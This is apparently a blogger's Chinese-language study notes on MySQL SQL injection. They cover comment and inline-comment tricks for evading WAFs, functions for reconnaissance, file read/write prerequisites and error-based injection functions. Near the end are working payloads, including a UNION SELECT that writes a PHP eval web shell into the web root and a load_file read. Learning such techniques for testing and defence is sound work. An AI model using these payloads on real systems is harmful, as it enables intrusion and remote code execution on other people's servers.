• SQL注入笔记


    SQL注释

      单行注释  #后面直接加内容

            --后面必须加空格

      多行注释  /**/中间可跨行

      -- + 会删除

      内联注释是:

    MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。 为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些 MySQL特有的语句放在 /*! ... */ 中,这些语句在不兼容的数据库中使用时便 不会执行。而MySQL自身却能识别、执行。  /*50001 */表示数据库版本>=5.00.01时中间的语句才会执行。  在SQL注入中,内联注释常用来绕过waf。

      /*!12345user()*/

      服务器端连接数据库所使用的用户。

      mysql 能16进制识别

    execute('sql语句')  //execute函数中可以写sql语句,且为字符串,那么就可以传入一些变形字符串来绕过waf
    union select 1,2,3 只显示一个2 说明只用到了这个字段

    SQL注入中一些常用的MySQL函数/语句:

      user()          当前用户

      database()          当前数据库

      current_user()       当前用户名(用于查看权限)

      version()         数据库的版本

      @@datadir        数据库的路径

      load_file()          读文件操作

      into outfile() /into dumpfile   写文件操作

    SQL注入读写文件的根本条件: 

      1. 数据库允许导入导出(secure_file_priv)

      2. 当前用户用户文件操作权限(File_priv)

       #查看数据库是否开启导入导出

          show variables like "secure_file_priv";

       #查看当前数据库用户

          select current_user();

        #查看当前用户是否具有文件读写权限

          select File_priv from mysql.user where user='root' and host='localhost';

    字符串连接函数

        concat(str1,str2)函数   直接连接

        group_concat(str1,str2)函数   使用逗号做为分隔符

        concat_ws(sep,str1,str2)函数  使用第一个参数做为分隔符

    基于报错的注入:

      1.updatexml函数

      2.xpath形式

        15种报错函数:

          floor()                  multipolygon()

          updatexml()                linestring()

          extractvalue()              ST_LatFromGeoHash()

          exp()                   ST_LongFromGeoHash()

          GeometryCollection()          GTID_SUBSET()

          polygon()                 GTID_SUBTRACT()

          mutipoint()                ST_PointFromGenHash()

          multionlinestring()    

    sql注入读取文件:

        写入文件。url')) union select 1,'2','<?php @eval($_POST[a]);?>' into outfile 'c:/www/2.php'%23虽然提示错误,但还是写入进去了。

        读取文件。url')) union select 1,2,load_file("C:/WWW/2.php") into outfile 'C:/WWW/3.php'%23虽然提示错误,但还是可以读取。

          file://c:/boot.ini

      不会报错,但是页面不正常,可以判断是bool型注入

     

  • 相关阅读:
    innerHtml的用法
    可变的框架
    用js实现弹出窗口《iframe》
    搜索栏的实现(JS)
    使用ASP.NET Atlas开发随输入内容自动调整行数的textarea(转)
    C#实现手动在IE中增加受信任/受限制站点(更新过后的代码)
    WebSerivce[创建分布式应用程序]
    有关于5个文本栏
    SQL 语句优化
    取HyperLink中的值
  • 原文地址:https://www.cnblogs.com/pangya/p/8993971.html
Copyright © 2020-2023  润新知